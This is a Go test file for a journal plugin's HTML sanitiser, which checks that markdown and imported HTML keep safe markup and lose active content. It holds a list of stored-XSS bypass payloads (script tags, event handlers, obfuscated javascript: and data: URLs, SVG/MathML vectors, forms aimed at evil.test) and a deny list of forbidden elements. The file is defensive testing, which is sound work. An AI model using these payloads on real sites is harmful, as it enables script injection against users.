Files
sm-journal-plugin/classes/format_html_test.go
Jakub Zych a3551f2bdf fix(classes): sanitize content_html with bluemonday instead of regex checks
- FormatHTML sanitizes the goldmark output with a bluemonday UGC policy
  extended only with what goldmark and the imported posts and categories
  use; unsafe markup is stripped, as Winter's Html::clean strips it
- HTML the policy keeps whole is stored byte for byte (token comparison)
- CheckHTML keeps its signature and 422 contract, refusing HTML the
  policy would change
- the three regexes are gone: the CR-01 bypasses are neutralized and
  "Data:" or "metadata:" text is no longer refused (WR-01)
2026-10-09 23:35:23 +02:00

306 lines
13 KiB
Go

package classes
import (
"strings"
"testing"
xhtml "golang.org/x/net/html"
)
// unsafePayloads are the stored-XSS inputs FormatHTML and CheckHTML must
// neutralize: the JOURNAL-003/004 Twig XSS templates (Phase 16) and the
// regex-gate bypasses from the Phase 16.1 code review (CR-01).
var unsafePayloads = []struct {
name string
src string
}{
{"script", "<script>alert(1)</script>"},
{"mixed-case script", "<ScRiPt>alert(1)</sCrIpT>"},
{"script inside an HTML block", "<div>\n<p>Intro</p>\n<script>alert(1)</script>\n</div>"},
{"script after markdown", "# Title\n\nText.\n\n<script src=\"https://evil.test/x.js\"></script>"},
{"iframe", `<iframe src="https://evil.test"></iframe>`},
{"upper-case iframe", `<IFRAME SRC="https://evil.test"></IFRAME>`},
{"object", `<object data="https://evil.test/x.swf"></object>`},
{"embed", `<embed src="https://evil.test/x.swf">`},
{"event", `<img src=x onerror="alert(1)">`},
{"svg onload", `<svg onload="alert(1)"><circle r="1"/></svg>`},
{"mixed-case event handler", `<p OnClick="alert(1)">Click</p>`},
{"event handler in an inline element", "Text with <span onmouseover=\"alert(1)\">hover</span>."},
{"event handler without a space", `<p><img src="x"onerror="alert(1)"></p>`},
{"slash-separated svg onload", "<div>\n<svg/onload=alert(1)>\n</div>"},
{"markdown attribute event handler", "# Title {onclick=\"alert(1)\"}"},
{"javascript", "[x](javascript:alert(1))"},
{"mixed-case javascript href", `<a href="JaVaScRiPt:alert(1)">x</a>`},
{"numeric entity colon", `<a href="javascript&#58;alert(1)">x</a>`},
{"named entity colon", `<a href="javascript&colon;alert(1)">x</a>`},
{"entity inside the scheme", `<a href="&#106;avascript:alert(1)">x</a>`},
{"tab inside the scheme", "<a href=\"java\tscript:alert(1)\">x</a>"},
{"newline inside the scheme", "<p><a href=\"java\nscript:alert(1)\">x</a></p>"},
{"leading space and control characters", "<p><a href=\" \x01javascript:alert(1)\">x</a></p>"},
{"mathml xlink href", "<div>\n<math><maction actiontype=statusline xlink:href=\"javascript&#58;alert(1)\">x</maction></math>\n</div>"},
{"vbscript", "[x](vbscript:msgbox(1))"},
{"raw vbscript href", `<a href="VBScript:msgbox(1)">x</a>`},
{"data", "[x](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)"},
{"raw data URL attribute", `<img src="data:image/svg+xml;base64,PHN2Zz48L3N2Zz4=">`},
{"markdown image with a data URL", "![x](data:image/png;base64,iVBORw0KGgo=)"},
{"base", `<base href="https://evil.test/">`},
{"meta refresh", `<meta http-equiv="refresh" content="0;url=https://evil.test">`},
{"form", `<form action="https://evil.test"><input type=password name=p><button formaction="javascript:alert(1)">go</button></form>`},
{"style element", "<style>body { background: url(https://evil.test/x) }</style>"},
{"link stylesheet", `<link rel="stylesheet" href="https://evil.test/x.css">`},
{"html comment", "<p>a</p><!-- <script>alert(1)</script> -->"},
}
// forbiddenElements must never appear in sanitized journal HTML.
var forbiddenElements = map[string]bool{
"script": true, "iframe": true, "object": true, "embed": true, "base": true,
"meta": true, "form": true, "input": true, "button": true, "style": true,
"link": true, "svg": true, "math": true, "maction": true, "frame": true,
"frameset": true, "applet": true, "textarea": true, "select": true,
}
// assertNoActiveContent tokenizes doc and fails on forbidden elements, event
// handler attributes, any style other than the allowed properties, and
// javascript, vbscript or data URLs after entity decoding and after removing
// ASCII whitespace and control characters, as a browser's URL parser does.
func assertNoActiveContent(t *testing.T, doc string) {
t.Helper()
z := xhtml.NewTokenizer(strings.NewReader(doc))
for {
tt := z.Next()
if tt == xhtml.ErrorToken {
return
}
if tt == xhtml.CommentToken {
t.Fatalf("comment survived: %q", doc)
}
if tt != xhtml.StartTagToken && tt != xhtml.SelfClosingTagToken && tt != xhtml.EndTagToken {
continue
}
tok := z.Token()
if forbiddenElements[tok.Data] {
t.Fatalf("element <%s> survived: %q", tok.Data, doc)
}
for _, a := range tok.Attr {
key := strings.ToLower(a.Key)
if strings.HasPrefix(key, "on") {
t.Fatalf("event handler %s survived: %q", a.Key, doc)
}
if key == "action" || key == "formaction" || key == "srcdoc" || key == "http-equiv" {
t.Fatalf("attribute %s survived: %q", a.Key, doc)
}
var b strings.Builder
for _, r := range strings.ToLower(a.Val) {
if r > 0x20 {
b.WriteRune(r)
}
}
v := b.String()
for _, scheme := range []string{"javascript:", "vbscript:", "data:"} {
if strings.Contains(v, scheme) {
t.Fatalf("%s URL survived in %s: %q", scheme, a.Key, doc)
}
}
}
}
}
// TestFormatHTMLSanitizesUnsafeHTML pins CR-01: every payload is rendered
// without an error and with all active content stripped, as Winter's
// Html::clean strips rather than refuses. Footnotes and tables from goldmark
// extensions still render.
func TestFormatHTMLSanitizesUnsafeHTML(t *testing.T) {
html, err := FormatHTML("# Hello")
if err != nil || !strings.Contains(html, "<h1>") {
t.Fatalf("safe heading: html=%s err=%v", html, err)
}
table, err := FormatHTML("| a | b |\n|:- | -:|\n| 1 | 2 |")
if err != nil {
t.Fatalf("table markdown: %v", err)
}
if !strings.Contains(table, "<table") || !strings.Contains(table, "text-align: right") {
t.Fatalf("table or its alignment did not render: %s", table)
}
fn, err := FormatHTML("See footnote.[^1]\n\n[^1]: note")
if err != nil {
t.Fatalf("footnote markdown: %v", err)
}
for _, want := range []string{`<sup id="fnref:1">`, `href="#fn:1"`, `role="doc-noteref"`, `role="doc-endnotes"`, `role="doc-backlink"`} {
if !strings.Contains(fn, want) {
t.Fatalf("footnote lacks %s: %s", want, fn)
}
}
attrs, err := FormatHTML("# Title {#intro .lead}")
if err != nil || !strings.Contains(attrs, `<h1 id="intro" class="lead">Title</h1>`) {
t.Fatalf("markdown attributes: html=%s err=%v", attrs, err)
}
for _, tc := range unsafePayloads {
t.Run(tc.name, func(t *testing.T) {
out, err := FormatHTML(tc.src)
if err != nil {
t.Fatalf("FormatHTML(%q) = %v, want sanitized output", tc.src, err)
}
assertNoActiveContent(t, out)
})
}
t.Run("safe parts of a payload survive", func(t *testing.T) {
out, err := FormatHTML(`<p>Zdjęcie: <img src="https://cdn.example.test/a.jpg" alt="a"onerror="alert(1)"></p>`)
if err != nil {
t.Fatal(err)
}
if want := `<p>Zdjęcie: <img src="https://cdn.example.test/a.jpg" alt="a"></p>`; out != want {
t.Fatalf("got %q, want %q", out, want)
}
})
}
// TestFormatHTMLKeepsSchemeLikeText pins WR-01: text that merely contains
// "data:", "javascript:" or "vbscript:" is not a URL and passes unchanged.
func TestFormatHTMLKeepsSchemeLikeText(t *testing.T) {
cases := []struct {
name, src, want string
}{
{"polish date label", "<p>Data: 12 maja 2024</p>", "<p>Data: 12 maja 2024</p>"},
{"markdown date label", "Data publikacji: 12 maja 2024", "<p>Data publikacji: 12 maja 2024</p>\n"},
{"metadata", "Some metadata: here", "<p>Some metadata: here</p>\n"},
{"big data in html", "<p>Big data: trends</p>", "<p>Big data: trends</p>"},
{"scheme names in prose", "<p>Pisze się javascript: i vbscript: w tekście.</p>", "<p>Pisze się javascript: i vbscript: w tekście.</p>"},
{"quotes and apostrophes", "<p>Lion's Mane, \"superior herb\" &amp; inne</p>", "<p>Lion's Mane, \"superior herb\" &amp; inne</p>"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
out, err := FormatHTML(tc.src)
if err != nil {
t.Fatalf("FormatHTML(%q): %v", tc.src, err)
}
if out != tc.want {
t.Fatalf("got %q, want %q", out, tc.want)
}
})
}
}
// TestFormatHTMLKeepsRawHTML pins D-03: raw HTML in content passes through
// the renderer, as Winter's Markdown::parse does, and HTML the policy allows
// is stored byte for byte, so an imported HTML body survives an admin save,
// an import or an API write.
func TestFormatHTMLKeepsRawHTML(t *testing.T) {
const paragraphs = "<p>Grzyby rosną w lesie.</p>\n<p>Druga <b>część</b>.</p>"
out, err := FormatHTML(paragraphs)
if err != nil {
t.Fatalf("html paragraphs: %v", err)
}
if strings.TrimSpace(out) != paragraphs {
t.Fatalf("html paragraphs changed:\n%s", out)
}
mixed, err := FormatHTML("# Tytuł\n\nTekst.\n\n<footer class=\"author\">Autor</footer>")
if err != nil {
t.Fatalf("markdown with a raw footer: %v", err)
}
if !strings.Contains(mixed, "<h1>Tytuł</h1>") || !strings.Contains(mixed, `<footer class="author">Autor</footer>`) {
t.Fatalf("raw footer was dropped:\n%s", mixed)
}
// Imported-style bodies: each round-trips unchanged after trimming.
bodies := []struct {
name string
src string
}{
{"paragraphs", "<p>Pierwszy akapit.</p>\n<p>Drugi akapit z <em>kursywą</em>.</p>\n<p>Trzeci.</p>"},
{"class attributes", `<div class="post-body"><p class="lead">Wstęp</p></div>`},
{"https link", `<p>Zobacz <a href="https://example.test/grzyby?a=1" class="ext" title="Źródło">źródło</a>.</p>`},
{"relative and mailto links", `<p><a href="/blog/grzyby">blog</a> <a href="#przypisy">przypisy</a> <a href="mailto:kontakt@example.test">mail</a></p>`},
{"https image", `<p><img src="https://cdn.example.test/img/fungi.jpg" alt="Grzyby" width="640" height="480"></p>`},
{"entity in an attribute", `<p><a href="https://example.test/?a=1&amp;b=2" title="Tom i Jerry">link</a> <img src="https://cdn.example.test/a.jpg?w=1&amp;h=2" alt="Tom i Jerry"></p>`},
{"table", "<table>\n<tr><td>A</td><td>B</td></tr>\n</table>"},
{"headings", "<h2>Co to jest Lion's Mane?</h2>\n<h3>Właściwości&nbsp;</h3>"},
{"pasted chat transcript", `<div data-message-author-role="assistant" data-message-id="a13366a9-f96b-4d6f-aaa5-0e433176381a" dir="auto"><p>Tekst</p></div>`},
{"surrounding whitespace", "\n\n <p>Trimmed.</p> \n"},
}
for _, tc := range bodies {
t.Run(tc.name, func(t *testing.T) {
out, err := FormatHTML(tc.src)
if err != nil {
t.Fatalf("FormatHTML(%q): %v", tc.src, err)
}
if strings.TrimSpace(out) != strings.TrimSpace(tc.src) {
t.Fatalf("html changed:\n got %q\nwant %q", strings.TrimSpace(out), strings.TrimSpace(tc.src))
}
if strings.Contains(out, "raw HTML omitted") {
t.Fatalf("goldmark placeholder in output: %s", out)
}
})
}
t.Run("markdown with a trailing raw footer and style", func(t *testing.T) {
const footer = `<footer class="source"><p>Źródło: <a href="https://example.test/ref">ref</a></p></footer>`
const style = "<style>\n.source { color: #555; }\n</style>"
src := "## Nagłówek\n\nTekst z **pogrubieniem** i [linkiem](https://example.test).\n\n" + footer + "\n\n" + style
out, err := FormatHTML(src)
if err != nil {
t.Fatalf("markdown with footer and style: %v", err)
}
for _, want := range []string{
"<h2>Nagłówek</h2>",
"<strong>pogrubieniem</strong>",
`<a href="https://example.test">linkiem</a>`,
footer,
} {
if !strings.Contains(out, want) {
t.Fatalf("output lacks %q:\n%s", want, out)
}
}
// The style element is stripped with its content, as Html::clean
// strips <style>.
if strings.Contains(out, "<style") || strings.Contains(out, ".source {") {
t.Fatalf("style element survived:\n%s", out)
}
if strings.Contains(out, "raw HTML omitted") {
t.Fatalf("goldmark placeholder in output: %s", out)
}
})
t.Run("imported author footer with microdata and inline styles", func(t *testing.T) {
src := "Tekst.\n\n<footer class=\"author-footer\" itemscope itemtype=\"https://schema.org/Person\">\n" +
" <div class=\"author-info\">\n" +
" <img src=\"https://cdn.example.test/autor.png\" alt=\"Autor\" class=\"author-photo\" itemprop=\"image\">\n" +
" <div style=\"font-size: 1.5em; font-weight: bold;\" itemprop=\"name\">Jan Kowalski</div>\n" +
" <span style=\"color: #138c74;\" itemprop=\"jobTitle\">Ekspert</span>\n" +
" </div>\n</footer>"
out, err := FormatHTML(src)
if err != nil {
t.Fatal(err)
}
for _, want := range []string{
`<footer class="author-footer" itemscope="" itemtype="https://schema.org/Person">`,
`<img src="https://cdn.example.test/autor.png" alt="Autor" class="author-photo" itemprop="image">`,
`<div style="font-size: 1.5em; font-weight: bold" itemprop="name">Jan Kowalski</div>`,
`<span style="color: #138c74" itemprop="jobTitle">Ekspert</span>`,
} {
if !strings.Contains(out, want) {
t.Fatalf("output lacks %q:\n%s", want, out)
}
}
})
t.Run("disallowed styles and attributes are stripped", func(t *testing.T) {
out, err := FormatHTML(`<p style="position: fixed; color: red" target="_blank" itemtype="https://evil.test/x">x</p>`)
if err != nil {
t.Fatal(err)
}
if want := `<p style="color: red">x</p>`; out != want {
t.Fatalf("got %q, want %q", out, want)
}
})
}
// TestJournalEndToEnd keeps `go test ./... -run TestJournalEndToEnd`
// from reporting [no tests to run] in this package.
func TestJournalEndToEnd(t *testing.T) {}